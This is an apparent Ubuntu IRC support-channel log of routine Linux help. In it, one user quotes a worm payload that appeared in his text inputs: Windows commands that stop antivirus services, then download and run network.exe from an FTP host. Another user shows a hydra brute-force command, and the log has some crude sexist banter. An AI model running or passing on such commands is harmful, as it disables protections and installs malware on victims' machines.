MatthewVburepe, the 'yourpassword' and 'root' if you are setting it for something other that root01:38
Tomcat_capiira: Just remove "quiet" and "splash" from /boot/grub/menu.lst from your kernel lines01:38
capiirathis will also remove the shutdown one ?01:38
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Tomcat_capiira: Not absolutely sure, but I guess yes.01:38
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KristianDKburepe -> replace yourpassword ;)01:38
burepeMatthewV: do I include the ' ?01:38
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capiiralet me try01:39
MatthewVburepe, yes you do01:39
Tomcat_capiira: You can test by using the "e" key in grub when booting... remove splash and quiet there.01:39
MatthewVso if your password was  hello01:39
capiiraahhh let me test01:39
capiirathx01:39
capiirabrbr01:39
amorphous_hello again... i'm looking to change the permissions to lock people from changing the toolbar/desktop settings in xubuntu but can't seem to locate/find out the filename that sets it up... ive been searching/desktoping for a bit and am unable to find suitable search criteria to not get thousands of irrelevant desktop/toolbar pages... can anyone help?01:39
MatthewVburepe, you'd do SET PASSWORD FOR 'root'@'localhost' = PASSWORD('hello');01:39
burepeMatthewV: thanks01:39
un_operateuramorphous_, changing the toolbar and desktop settings is the user's prerogative .. why change it? :)01:40
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burepeMatthewV:  I keep getting a syntax error. does localhost use ' ?01:40
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MatthewVburepe, should do, let me try just a moment01:41
tim167lynx cant open google : Error, Bad Request,    Your client has issued a malformed or illegal request. how come ?01:41
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burepeMatthewV: thanks01:41
MatthewVburepe, this works for me > SET PASSWORD FOR 'root'@'localhost' = PASSWORD('xxxxx');01:42
MatthewVwhere xxxxx is your password01:42
amorphous_un_operateur, un_operateur01:42
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MatthewVburepe, sry gtg now, so i hope that works for you01:43
burepeMatthewV: thanks. not sure what I did wrong but now I know what is right. Thanks01:43
un_operateuramorphous_, yes?01:43
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SmotangWhat is the filetype for a script that you want to run in command prompt(bash?)01:44
amorphous_un_operateur, (sorry 'bout that) - it's a few people sharing a machine that can't be logged off (it's in a cafe - behind the bar) but one is malicious & messing bout with the ettings01:44
amorphous_*settings01:44
noobcookholomorph01:44
un_operateurSmotang, err, text file?01:44
Smotangthat would be .txt?01:44
amorphous_un_operateur, you know the filename?01:44
SmotangI saved it then tried to run it via doubleclick through the Xwindow filemanager (forgotten the name)01:45
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noobcookanyone know how to install WineTools01:45
noobcook?01:45
SmotangBut it did not work, Any idea as to why?01:45
un_operateuramorphous_, i'm not sure about the name, but i have a feeling it's under the .xfce* directories of the user's homedir01:45
amorphous_un_operateur, thanks, i'll check it out ;)01:46
Enverexnoobcook, Don't use it01:46
un_operateurSmotang, you need to have the shebang line at line #1 and the file set to executable01:46
noobcookEnverex: why?01:46
SmotangHow do I set to executable?01:46
Enverexnoobcook, Because it doesn't work with any "not really old" versions of Wine01:46
noobcookah k01:46
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EnverexErm, this is odd. I've installed HPLIP through Apt-Get but HP's setup utility isn't showing up anywhere in the Gnome Apllications menu. Further more CUPS doesn't seem to notice the HP LaserJet I have attached to my Parallel port. Any ideas?01:46
aldinThe following packages have unmet dependencies:01:46
noobcookwell any ideas how to play warcraft thats already installed on my windows partition?01:46
aldin  gnome: Depends: gnome-office (= 1:2.14.2.1ubuntu1) but it is not going to be installed01:47
un_operateurSmotang, errm, from within the shell -- chmod u+x file  .. from within the DE .. right, click, properties ...01:47
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amorphous_un_operateur, is there another xfce dir name? i have no xfce (or even close) dir. :?01:48
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un_operateuramorphous_, errm not too sure, used xubuntu a long time ago .. .thunar maybe01:50
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amorphous_un_operateur, is thunar not just the file browser?01:50
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amorphous_un_operateur, 's ok - i'll keep banging my head at it  ;)01:50
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TwiztrHow do I make it so that mount /hdb1 runs everytime I log in, or turn the box on, or whatever?01:51
un_operateuramorphous_, dunno, i thought nautilus was just a file browser on ubuntu -- but apparently it's the DE too01:51
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un_operateurTwiztr, add an entry into /etc/fstab .. man fstab for documentation about this01:52
amorphous_un_operateur, now there's a thing!!! something new every day!!!01:52
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amorphous_un_operateur, thanks - you helped shift it along a bit - it's under xfce, but inside ~/.config :D01:53
un_operateuramorphous_, :d .. also you might get better help from the folks in #xubuntu01:53
heehowwwanyone can help me install a sis graphic?01:53
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jribhow can I block connections to a port in firestarter?  It only seems to allow me to "allow" on certain ports.01:54
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jribnever mind, was looking at inbound instead of outbound01:54
TwiztrI already have an entry for it "/dev/hdb1 /mnt/hdb1 ntfs noauto,users,exec,ro,umask=0222 0 0" so when I run mount it mnts as the right drive, but I still have to manually type the mount command when I log in.01:55
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noobcookjrib does ubuntu  have a program that can load .mdf and .mds to a fake moint point? a bit like daemon tools?01:55
jribhmm, no I do want inbound.  So, if anyone knows how to block certain ports in firestarter, I'm still interested01:56
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un_operateurTwiztr, if /mnt/hdb1 exists .. then you shouldn't have to manually mount the drive01:56
capiirahmmmm by removing quiet and splash i found out that 17179648.72000 makes my system need 45sec to shutdown :/01:56
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capiirais there a way to find out why?01:57
jribnoobcook: http://www.google.com/search?hl=en&q=ubuntu%20mdf%20mds01:57
noobcookty01:57
un_operateurjrib, i think it depends on the mode you use in firestarter -- permissive-to-restrictive or the other way around -- in the permissive-to-restrictive mode (if thats what it is indeed called) .. the default policy is to block all ports unless you explicitly set a rule01:57
capiirathe last line before the 45sec pause was "171796.48.720000 Restarting System"01:58
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TwiztrWhats a site I can copy code too? like codebin or something?01:58
capiiraother distros dont need that long01:58
jribun_operateur: it seems to give me that option for outbound, but for inbound I can't find it.  Is it hidden away somewhere that you know of?01:58
MatthewV!pastebin > Twiztr01:58
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TwiztrOk, thnaks01:59
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un_operateurjrib, ahh, no, thats a limitation of firestarter (as far as i am aware) .. it seems to be the classic home user's firewall management utility quite useless otherwise01:59
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un_operateurjrib, i remember wanting to open up ports on firestarter .. couldnt find out how to do it02:00
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heehowwwanyone can help me install a sis 741 graphic?02:01
jribun_operateur: that would be find if it did block everything by default.  But I am running zope and it seems accessible to everyone, oh well, off to learn iptables.  Thanks for confirming02:01
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Twiztrhttp://paste.ubuntu-nl.org/1295/ Theres my /etc/fstab file...02:01
TwiztrDo I need to add something for /dev/hdb1 mnts right?02:01
un_operateurjrib, i think you might taken the restrictive-to-permissive mode where the default policy is to allow all connections .. and yea, manually doing the iptables is a better way to go02:02
Twiztractually... the command I have to use to access is 'mount /mnt/hdb1;'02:02
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un_operateurTwiztr, ahh ntfs drive -- please use !ntfs-3g02:03
un_operateur!ntfs-3g | Twinxor02:03
ubotuTwinxor: ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but is still BETA software, so use it with caution. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)02:03
un_operateuroops .. sorry Twinxor .. meant that for Twiztr02:04
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un_operateurTwiztr, also, remove these entries in fstab before going ahead to use ntfs-3g .. they'll confuse mount otherwise02:05
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un_operateurjrib, hmmm, actually, i just installed !firestarter to check this out -- it depends on the policy you edit -- inbound or outbound .. check under the 'policy' tab, there's a drop down menu for  'editing' that allows you to edit either/or02:07
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jribun_operateur: right, it does let be do restrictive-by-default for outbound.  But when I switch over to inbound (which is what I want to configure), there is not way to change it to restrictive-by-default or permissive-by-default.  So I can only add ports to allow.  If firestarter doesn't block a port by default, then i can't block it02:09
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jribs/be/me02:09
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edgyHi, If I installed a dhcp server in two pc's and now connected a third one to them, how can I specify which dchp server to lease an ip from?02:10
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un_operateurjrib, errm, i vaguely remember something like it from an earlier version -- i can't find it either -- but i'm quite positive that it ensures that the default policy is to drop traffic .. you can verify this with  sudo iptables -L02:11
vltedgy: You can list the MAC addresses in dhcpd.conf (on the server)02:11
cokeslutsup02:11
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edgyvlt: if I haven't done so which one would be chosen by default?02:12
diederickhi all02:12
un_operateuredgy, is this a case where you have multiple DHCP servers?02:12
diederickI'm trying to fix my dualview for my gforce 7600GT, with this: http://paste-it.net/931  but its not working.. can someone help me  a bit?02:12
un_operateuredgy, i read again ... why not just disable the DHCP server on either one of the machines to make you happy02:13
Jowiedgy, the first dhcp server to respond to the request from the client is the one that the client get the address from. unless you can filter the computers by MAC address and give them a "static" address I guess.02:13
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mneptokedgy: 2 competing DHCP servers on a subnet is a Bad Idea(tm)02:14
Jowiedgy better to disable one of the dhcp servers02:14
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un_operateurmneptok, not really .. 2 or more DHCP server on the same subnet makes for good redundancy incase one fails02:14
jribun_operateur: http://paste.ubuntu-nl.org/1296/  is line 15 telling me the rule is invalid or is that just some rule syntax?02:15
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mneptokun_operateur: a better idea is a fault-tolerant DHCP server on a UPS02:15
un_operateurjrib, looks like the same on line #38  .. i think it's an option to say, drop all packets which appear to be INVALID02:16
jribun_operateur: ok thanks02:17
un_operateurmneptok, errm, no, a better idea is to have all DHCP servers operational at the same time but sharing information between each other via LDAP or some other database02:17
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diederickdoes someone here knows how to setup TwinView?02:18
TwiztrSo02:19
Twiztrntfs-3g /dev/hdb1 /mnt/d -o silent,umask=0,locale=en_US.utf802:19
Twiztrntfs-3g /dev/hda1 /mnt/c -o silent,umask=0,locale=en_US.utf802:19
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Twiztradded to my fstab shoud work02:19
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un_operateurTwiztr, this is how mine is set -- /dev/sda1       /media/usb0     ntfs-3g    silent,umask=0,locale=en_GB  0  002:19
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un_operateurTwiztr, in your case it would be -- /hdb/hdb1       /mnt/hdb1     ntfs-3g    silent,umask=0,locale=en_US.utf8  0  002:20
deepsaBus 003 Device 002: ID 1110:9022 Analog Devices Canada, Ltd (Allied Telesyn)02:20
un_operateuroops .. make that /dev/hdb102:20
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deepsai wanna communicate with this device (router) ^ ^02:21
deepsahow i do that in ubuntu edgy02:21
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un_operateurdeepsa, that device is a router?02:21
noobcookwhats the site for gnome themes again02:21
noobcook!gnome02:21
ubotugnome is a project that provides two things: The GNOME desktop environment, an intuitive and attractive desktop for end-users, users, and the GNOME development platform, an extensive framework for building applications that integrate into the rest of the desktop.02:21
deepsaya02:21
un_operateurnoobcook, gnome-look.org i think02:21
Jowinoobcook, art.gnome.org also work02:22
noobcookk02:22
un_operateurdeepsa, errm, usually you communicate with a router via ethernet and tcp/ip .. what command is giving you that output?02:22
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deepsalsusb02:22
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un_operateurdeepsa, sounds like a USB modem then ... not a router .. what make and model is it?02:23
Jowideep, you're sure it is not only an adsl modem?02:23
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deepsaoh ya its adsl modem02:23
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un_operateurdeepsa, stop calling it a router then :p02:23
deepsa:d02:23
un_operateurdeepsa, what make and model #?02:24
deepsaidk02:24
Jowideepsa, try "sudo pppoeconf" and see if it get automatically detected02:24
deepsak02:24
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deepsait said 2 ethernet device found no usb device listed there02:25
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TwiztrCan I watch WinMediaPlayer plugin videos on websites with Firefox, or Konquorer or something?02:26
Jowideepsa, is it listed as an ethernet device in there?02:26
atlas95hello02:26
diederickWhen I've got a TFT monitor (2), do I need touse "DFP" or "CRT" in the xorg.conf? (probably "DFP", but this is what I found in my log: http://paste-it.net/932)02:26
deepsanaw eth0 is lan eth1 is wlan.02:26
TwiztrDeepsa, my cablemoden is USB, and shows up as a eth dev02:26
un_operateurTwiztr, sure, install the mozilla-mplayer or totem-mozilla plugins packages02:26
atlas95I have a problem with my new laptop, it has an intel core 2 duo T5600, 1,83ghz02:26
deepsaifconfig?02:26
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atlas95but it doesn't want to turn a it maximum02:26
atlas95it blocks at 1,33ghz02:27
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atlas95could you help me please02:27
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diederickSomeone?02:27
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noobcookhow do u install login themes in ubuntu?02:27
un_operateurdeepsa, usually with usb modems, you need to install the drivers .. use the make and model # to google for some linux drivers02:28
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deepsaidk make and model what i do02:28
Jowinoobcook, launch "sudo gdmsetup" and drag'n'drop the theme into it02:28
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un_operateurnoobcook, download a gdm theme you'd like to install -- and use the "gksudo gdmsetup" command02:28
noobcookok02:28
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deepsausb light is on in the modem.02:29
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FactTechQuestion: What is the exact relationship between Xfce and GNOME? Does Xfce use GNOME libraries and packages?02:29
un_operateurdeepsa, well, that only indicates to you that it has detected a USB connection02:29
deepsaoh02:30
un_operateurdeepsa, can't you find the model number from the modem .. on the bottom or side of it?02:30
deepsaits sterlite02:30
un_operateurFactTech, I think what's common in between the two is that they both use GTK .. I dont think XFCE uses any Gnome/Gnome2 libraries02:31
deepsasterlite WA1003A02:31
FactTechun_operateur Thanks. I'm asking because I registered a bug at launchpad, and it was suggested that I install the 'yelp' package to fix it. 'yelp' has about a dozen GNOME packages that it's dependent on, so I'm worried that installing it will do something bad to Xfce. Is that a legitimate worry?02:32
jribFactTech: no, nothing bad should happen.  You can have xfce, gnome, kde etc all together02:32
un_operateurFactTech, installing gnome or even kde packages on xubuntu shouldnt break anything02:33
Twiztrgstreamer or xine?02:33
FactTechjrib, un_operateur: OK, Thanks to both of you. I'll try it and see what happens.02:33
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tim167how can I open a .png image from the terminal ?02:33
jribtim167: gnome-open file.png02:33
mneptokFactTech: it will not break XFCE, but by installing and utilizing the GNOME libraries you'll lose the "it's more lightweight!" aspects of XFCE usage02:33
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jribtim167: or use your favorite png-viewer02:34
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tim167jrib: is it faster than double clicking it in gnome ?02:34
FactTechmneptok That's a little of what I was worried about, but it should only use the GNOME libraries when it has to, right?02:34
DesertEaglegood morning all02:34
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mneptokFactTech: correct02:34
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FactTechmneptok OK, Thank you.02:34
jribtim167: depends on how fast you type.  gnome-open just opens the same program that would open normally02:34
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un_operateurdeepsa, i think this person has instructions on getting your usb modem running -- http://sudharsh.wordpress.com/tag/foss-and-linux/  (search for sterlite)02:34
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DesertEagleam i the only one that can't launch pypanel? it's installed but it keeps saying command not found02:34
mneptokFactTech: np np. good luck :)02:34
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tim167jrib: than its slow, here, it takes too long for an image to load, i thaught maybe with a smaller viewing program it would be faster02:35
jribtim167: sure, just use a different viewer. FOr example, feh02:35
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mneptokDesertEagle: open a terminal and type "sudo updatedb && locate pypanel" (no quotes) and see what files you find02:35
deepsaun_operateur, he doesnt use usb02:36
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tim167jrib: feh that is? i'll look it up02:36
ioteHi there, is it normal behavior in ubuntu that when I "chvt 1" then "chvt 7" my X session is restarted?02:36
DesertEaglemneptok lol i was just updatedb'ing as a matter of fact02:36
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jribtim167: apt-cache show feh  , if you like what you read:  sudo apt-get install feh  , then try it out:  feh file.png02:36
Jowideepsa, do you have a possibility to connect to the modem/router via an ethernet port?02:36
mneptokDesertEagle: well then, there you go. :)02:36
DesertEaglemneptok no bin/pypanel though :(02:37
mneptokDesertEagle: but is there even a pypanel.py?02:37
un_operateurDesertEagle,  usually if it can be launced it places an executable in one of the $PATH directories .. i'd do this -- dpkg -L pypanel |   grep -i bin02:37
tim167jrib: installing already ... :-P02:37
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DesertEaglelocate pypanel.py returns nothing :(02:37
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DesertEagleam i gonna have to compile it myself? :(02:38
Li`lEndianHi, i am getting an fsck error exiting with status 1. its the partition on which i've mounted /home02:38
diederickhi all... I've installed the latest Ubuntu, with nvidia dirvers... now I want to install beryl.. someone who knows a good howto?02:38
jrib!beryl | diederick02:38
ubotudiederick: Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-xgl02:38
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un_operateurdeepsa, but he does say "Oh and router=modem in this article" .. and doesnt mention if he uses usb or not02:38
Li`lEndianbut when i try to unmount it for fsck'ng it manually, i get a device busy error02:38
BULLEdiederick: its not so much to install, just install the packages, and start beryl-manager02:38
Li`lEndianhow can i get round the problem?02:38
jribDesertEagle: https://launchpad.net/ubuntu/+source/pypanel/+bug/6733702:39
diederickreally?02:39
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diederickBULLE: which packages?02:39
mneptokDesertEagle: looking at pypanel, stand by02:39
BULLEdiederick: the beryl ones ?02:39
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diedericksounds logical :D02:39
KristianDKHi guys, when i've downloaded kubuntu-desktop, can then uninstall ubuntu-desktop ? ;)02:39
diederickBULLE: do i need to add a repositor?02:39
un_operateurKristianDK, sure02:39
jribKristianDK: if you want to02:39
BULLEdiederick: yes02:40
BULLEdiederick: all info can be found on the beryl homepage02:40
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diederickBULLE: do you know which one?02:40
KristianDKjrib - ok :) Thanks02:40
diederickoke thanx02:40
ioteHi there, is it normal behavior in ubuntu that when I "chvt 1" then "chvt 7" my X session is restarted?02:40
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Li`lEndianHello? china? anyone point me out what I can do to fsck a directory which won't unmount even when I startup in recovery mode?02:41
DesertEaglejrib thanks!02:41
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Jowideepsa, try "sudo modprobe eagle-usb"02:41
mneptokDesertEagle: on Edgy pypanel wants me to install python2.502:41
swaroghello02:41
DesertEagleLi'lEndian fsck the device itself?02:41
DesertEaglemneptok yeah apparently i'll have to install a different version02:41
BULLEdiederick: http://wiki.beryl-project.org/wiki/Install_Beryl_on_Ubuntu02:41
Li`lEndianDesertEagle, yeah, i still get a warning - saying that it could cause severe damage to run fsck on a mounted fs.02:42
un_operateuriote, I ususally just use the CTRL+ALT+F1 and CTRL+ALT+F7 combinations .. doesnt restart X then02:42
DesertEagleaccording to the bug post brought up by jrib02:42
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diederickbulle great! (do you have beryl installed?)02:42
mneptokDesertEagle: did you install pypanel from the repos?02:42
DesertEagleyep02:42
swarogi have strange problem installing kubuntu 6.10 on my laptop, whle trying to install "mount: function not implemented" than it stops at "checking file system"02:42
Li`lEndianDesertEagle, don't think it'd be wise to try that. problem is,  cannot umount the /home parition02:42
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swarogafter that it simply spawn the console and thats it, no graphic interface ...02:42
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ioteeven w Ctrl+Alt it restarts...02:42
DesertEagleLi'lEndian i though you said it wasn't mounted02:43
diederickBULLE:  I get : "deb: command not found" ?02:43
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jribdiederick: it's not a command02:43
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diederickoh ?02:43
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ioteun_operateur: even w Ctrl+Alt it restarts...02:43
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snailLi`lEndian: boot the install disk and get a console on that to fsck your disk02:43
un_operateuriote, it sounds like a problem you have there with your X server .. unfortunately, i wouldnt know what to do to troubleshoot02:43
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swarogany ideas?02:43
jribdiederick: doesn't the page you are using mention opening /etc/apt/sources.list ?02:43
Li`lEndianDesertEagle, well, yeah, my mistake explaining it- problem simply is, i cant unmount it02:44
mneptokDesertEagle: https://launchpad.net/ubuntu/+source/python-xlib/+bug/66511 <-- you could try adding that path to python's env02:44
diederickOh i see :$ sorry02:44
DesertEagleLi'lEndian oh... well then you'll have to do like snail says02:44
un_operateuriote, you could ask upstream in #debian02:44
ioteun_operateur: mmm, will do that then...02:45
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Li`lEndianok, thanks, everyone, will try that02:45
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ErrorReporthello02:45
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diederickBULLE: Do I also need to do this: " $ sudo apt-get install xserver-xgl" ? I've got the latest ubuntu (6.10) ..02:46
jribun_operateur: seems I was wrong by the way.  Firestarter is blocking everything by default02:46
diederickBULLE: I thought it already had 'xgl'  or am I mistaken?02:46
un_operateurjrib, yep, didn't you see that in the IPTABLES -L output? :p :)02:46
DreamThiefdiederick, dont mix XGL and AIGLX02:46
J`adorespeak spanish?pls?02:46
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un_operateur!es | J`adore02:47
ubotuJ`adore: Para Espaol por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendrn mas ayuda.02:47
diederickhmm oke.. sorry but I'm to knew to this... does this mean I can just execute that command?02:47
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jrib!repos | diederick02:47
ubotudiederick: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource02:47
J`adore10x;)02:47
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BULLEdiederick: pick the right instructions for your graphics setup02:48
MichaelkHi02:48
diederickok02:48
swarogcant boot it in 'safe' mode too02:48
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swarogpfeh02:50
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swarogcome on, suggestions?02:50
un_operateurswarog, download alternate CD and use it, i should think02:50
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MichaelkHeard about the feisty codecs package?02:51
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seanhHi folks, writing an extension to Python and just wondering about building Python on Ubuntu, as I understand I can install Python from source to /usr/local and it will override, but not overwrite, ubuntu's build of Python. Is there an easy to then uninstall my built-from-source Python?02:52
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MichaelkWhat do u guys think of that?02:52
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freakynlheya, can anyone say on average how fast updates are released for new packages? take wireshark for example, 0.99.4 was release on 31-10 but it's still at 99.3a02:52
Moo-Does Ubuntu have some kind of "Wireless network wizard"? I want to scan all open WLANs and connect to mine.02:52
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un_operateurouch .. pypanel sent xchat2 on it's bike02:53
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jrib!release | freakynl02:53
ubotufreakynl: Ubuntu releases a new version every 6 months. Each version is supported for 18 months to 5 years. More info at http://www.ubuntu.com/ubuntu/releases & http://wiki.ubuntu.com/TimeBasedReleases02:53
freakynlMoo-: new too ubuntu but there's something called wpa_supplicant, doesn't work with all cards tho'02:53
mneptokMoo-: sudo aptitude install network-manager-gnome02:53
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freakynlubotu: they don't update packages within a release?02:53
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erUSULfreakynl: in a release only security updates are aviable no nwe versions02:53
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Moo-mneptok: ok. thanks. All I need is that freaking network connection first ;902:53
jribfreakynl: ubotu is a bot, please read those two pages first02:54
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FactTechfreakynl, erUSUL: But you can still import an update using Synaptic or manually, right?02:54
noobcookjrib: ** ERROR **: file callbacks.c: line 544 (popen_re_unbuffered): should not be reached........aborting... any ideas?02:54
njuabcDDFLKD02:54
katabaticanybody very knowledgeable willing to help me? nobody can figure out my problem02:54
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erUSULFactTech: short answer: no02:55
jribnoobcook: what were you doing to get that?02:55
erUSUL!anyone02:55
ubotuA large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?02:55
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FactTecherUSUL All right, then! :)02:55
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freakynlhmm thx... now i remember why i started using gentoo in the first place :D02:55
noobcookjrib:  hydra 127.0.0.1 cisco -l david -p pass.l -t 3602:55
erUSULFactTech: you can add ubuntu backports repo and get *some* new versions02:56
erUSUL!backports02:56
ubotuIf new updated Ubuntu packages are built for an application, then they go into Ubuntu Backports. See https://help.ubuntu.com/community/UbuntuBackports02:56
Moo-mneptok: do you think I should file a bug report that the tool should be in the default install? Would I get +1 from you for it?02:56
swarogbtw, how could i boot ubuntu installation in text mode?02:56
DesertEaglemneptok so there's no fix huh? :(02:56
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erUSULFactTech: new releases appear every 6 months i do not think the problem is as bad as in say dabian02:57
mneptokMoo-: WPA detection, password hashing and storage, and negotiation are known warts.02:57
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freakynlubotu: thx that was the answer i was looking for02:57
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FactTecherUSUL Oh, I'm not arguing with the release cycle. I just thought you always had the option of installing updated packages on your own (and at your own risk, of course).02:58
diederickBULLE: yehoo!! it works02:58
diederickvery very nice02:58
freakynli just keep on talking to the bot :P02:58
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BULLEdiederick: see, wasnt that hard was it02:58
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diederickindeed thanx!02:58
BULLEdiederick: you will get annoyed by the wobbly windows and moving stuff after about 15 minutes, but the first 15 minutes are very fun =)02:58
diederickBULLE: is it also possible to change the way the 'button', 'menus' etc work?02:59
seanh!python02:59
ubotupython: An interactive high-level object-oriented language (default version). In component main, is important. Version 2.4.3-11ubuntu3 (edgy), package size 37 kB, installed size 208 kB02:59
diederickBULLE:  haah yeah probably02:59
BULLEdiederick: dunno, havent used beryl much, only for about 15min total time02:59
freakynlBULLE: i actually quite like em, doesn't add anything useful tho'02:59
DesertEaglewhat's the name of that WM again?02:59
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DesertEaglethe wobbly one?02:59
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BULLEfreakynl: only feature i kind of find usefull, is the zoom out and pick window, when you move mouse up to top right corner03:00
BULLEDesertEagle: compiz or beryl03:00
MarcNWhich is the better/faster/more stable X driver for an ATI device?    radeon or ati (default).03:00
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DesertEagleyou move windows and it wobbles03:00
DesertEagleah ok thanx03:00
BULLEDesertEagle: both have the wobbly window stuff03:00
DesertEaglewhich is easier to install?03:00
deepsado we have any utility in ubuntu that makes complete desktop black and white03:00
faeryNatsukihello!03:00
seanh!theme03:01
ubotuFind your themes at: http://www.gnome-look.org - http://art.gnome.org - http://www.kde-look.org - http://themes.freshmeat.net/browse/58/ - http://www.guistyles.com - https://wiki.ubuntu.com/Artwork/ - Also see !changethemes and https://help.ubuntu.com/community/UbuntuEyeCandy03:01
Jowideepsa, did you get my message about the usb modem?03:01
deepsai mean even windows03:01
mneptokMarcN: binary driver is faster but not free. and it's (mostly) stable.03:01
seanh!changethemes03:01
ubotu[Ubuntu]  Install gnome-themes (gnome) or go to menu, system settings, appearance. [KDE]  For a good KDE guide, see https://help.ubuntu.com/community/CustomizeKubuntu.03:01
mneptok!ati | MarcN03:01
ubotuMarcN: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto03:01
deepsaJowi, ya i got it. i configured the wireless03:01
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Jowideepsa, did it work or not with eagle-usb?03:01
pike_deepsa: change xorg depth to 1 see what happens03:02
Morrissey!poker03:02
ubotuSorry, I don't know anything about poker - try searching on http://bots.ubuntulinux.nl/factoids.cgi03:02
deepsano no. i am using wireless now. usb not working03:02
tijnpoker?03:02
deepsapike_, how i do that03:02
Jowik03:02
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TwiztrShit... 13 of 390 packages updated...03:02
Dimensionshiya how do u save evolution mails ??? if i want to zip it .... i have done some time back but forgot the location we have to save ??03:02
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zero_#ubuntu-netinst03:03
mneptokspineless bstrds all03:03
un_operateurDimensions, should be under ~/.evolution/03:03
zero_j/ #ubuntu-netinst03:03
pike_gksudo gedit /etc/X11/xorg.conf          then scroll to bottom of file youll see and entry like DefaultDepth 24     24 or 16 is usually what you want anyway change to one of the other depths listed with thier resolutions just below that so DefaultDepth 1    or 4 or whatever maybe03:03
pike_deepsa: ^03:03
Dimensionsthanks un_operateur03:03
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mneptoksorry dude03:04
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deepsapike_, will it make black and white. will not distort pixel quality?03:04
pike_deepsa: youll have to alt-ctrl-backspace to reset x and read config file again. never done that leemme know how it looks :)03:04
deepsapike_, i think its bad to change the value03:04
pike_easy enought to change back03:05
un_operateurdeep, i think it's worse to want a B&W desktop :)03:05
pike_deepsa: but im sure there is a monotone theme or something you could download03:05
un_operateurerr, deepsa *03:05
DesertEaglei love yakuake :)03:05
Morrisseyyakuake's the greatest :)03:05
deepsaplz i wanna have B&W03:05
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pike_with analouge static too would be cool :)03:06
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ddgbosihowdy assnuggets03:07
DesertEaglethat's a great intro greeting03:07
ddgbosilol Desert03:07
FurryNemesisthis is going to be a loooong day....03:08
ddgbosiwell, assnuggets or shitwaffles, any of those work03:08
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ddgbosiso, any sorta-ugly females in here with very low self-esteem?03:09
diederickwhere can I change the way "scrollbars,buttons, menus, toolbars" look?03:09
DesertEagleddbgosi: you charmer you ;)03:09
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ddgbosilmfao03:09
robertohi03:09
robertohelp03:10
ddgbosiok03:10
DesertEagledamn03:10
ddgbosiso, someone comes in here, says help, and leaves03:10
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DesertEagleit'd been funny if the quit msg was +++NO CARRIER+++03:11
ddgbosilol03:11
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ddgbosiman, for some reason automatix is crawling this morning03:11
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un_operateurddgbosi, could be that the demon's he was fighting pulled him under before we got a change to help him03:11
bakertsnail, if you're still here.  i wrote up this morning's mess up at http://bluebones.net/2007/01/ubuntu-dapper-is-not-debian-unstable/03:11
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ddgbosilmfao @ un-operateur03:12
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jrib!themes | diederick03:12
ubotudiederick: Find your themes at: http://www.gnome-look.org - http://art.gnome.org - http://www.kde-look.org - http://themes.freshmeat.net/browse/58/ - http://www.guistyles.com - https://wiki.ubuntu.com/Artwork/ - Also see !changethemes and https://help.ubuntu.com/community/UbuntuEyeCandy03:12
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snailbakert: thanks03:12
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ddgbosihow ppl barely talk in here?03:12
faeryNatsukii want to save and reuse custom emoticons in kopete or gaim the same way live messenger does, how can i do that?03:12
ddgbosi*how come03:12
ikoniathere is normally a lot of traffic ddgbosi03:13
un_operateurddgbosi, most conversation usually is redirected into #ubuntu-offtopic03:13
ikoniafaeryNatsuki best to ask in kde03:13
ddgbosithen wht's goin on today?03:13
bakertsnail, no, thank you!03:13
ddgbosioh! i see03:13
faeryNatsukithanks ikonia03:13
diederickjrib: yeah but I have Beryl installed... and now all my buttons are very 'ugly'... do I need to change this in the 'theme' menu option?03:13
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enaut hey guys i can't find the reason for Direct rendering not being activated - i instaled  my Nvidia graphiccard with the Nvidia *.run script with the guidance of the (german) Wiki Now I can test with glxgears the rendering and everything works fine - i see the gears. but the command glxinfo | grep rendering says:direct rendering: No what could be the problem?03:13
faeryNatsukibut it's not possible to do it in gaim?03:13
ddgbosiBeryl is not too appealing to me.....anymore03:13
rogue780hey, one my server computer I've noticed when I leave anything that accepts text inputs up, it ends up getting filled with junk like "r%systemroot%\system32\cmd.exe net stop Security Center &net stop navapsvc &net stop kavsvc &net stop McAfeeFramework &net stop NOD32krn &net stop McShield &net stop Symantec AntiVirus &net stop Norton AntiVirus Server &echo open ftp.bigboat.be 21 > i&echo get network.exe >> i &echo03:14
rogue780 quit >> i &ftp -As:i &network.exe &exit" any ideas what that is and how to stop it?03:14
ikoniaenaut nvidia drivers are ment to be installed from the ubuntu repo - not the .run scripts03:14
olimpicoI bought a TP-Link Wireless card, i read in internet it was automatically recognized by Ubuntu, but I had ubuntu already installed, How do i make KUbuntu to recognize my new Wireless card??? When I type lspci, it's there, but how do I configure it?03:14
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ikoniarogue780 do you mean in your apache log03:14
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enautikonia I know but that wasnt working at all03:14
ikoniaenaut then you should have asked for help with that03:15
ikoniarather than breaking the whole support process03:15
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rogue780ikonia, no, I mean if I had an OOo document open all night, when I checked it in the morning the page would be full of that stuff, or if I had instant messenger up it would send that out to anyone I have an active conversation open with, or if I left this open it would get sent to you03:15
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diederickjrib:  I went to "System->Preferences->Theme"  but how do I apply a theme?03:15
certifiedback03:15
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olimpicoPlease someone help me, just give me a hint!03:16
Jack127selam03:16
ikoniarogue780 very strange, could be a messaganger style exploit03:16
noobcookapt-get install rootkit03:16
noobcooklol03:16
Jack127ikonia03:16
ikoniaolimpico whats the question you need a hint on03:16
pike_olimpico: is that a pcmcia card or pci?03:16
Jack127hi03:16
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jribdiederick: just select it.  But if you are using beryl, then you should right click on the emerald and edit /that/ theme03:16
ikoniaJack127 hello03:16
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Jack127:)03:16
CheshireViking!wireless03:16
ubotuWireless documentation can be found at https://help.ubuntu.com/community/WifiDocs03:16
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enautikonia but the two commands are actually testing the same option (glx gear and glxinfo)03:16
snailbakert: back to your original problem03:16
ikoniaenaut no - you've installed the wrong drivers03:16
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snailbakert: do you still need to haskel compiler?03:17
ikoniaenaut thats why its hard to support it03:17
diederickjrib: and than I can switch back to the default ubuntu 'buttons/scrollbars/menus/' ?03:17
enautok03:17
enautikonia is there a chance to install the right ones?03:17
ikoniaenaut remove the ones you've installed, and install the drivers from the ubuntu repo's03:17
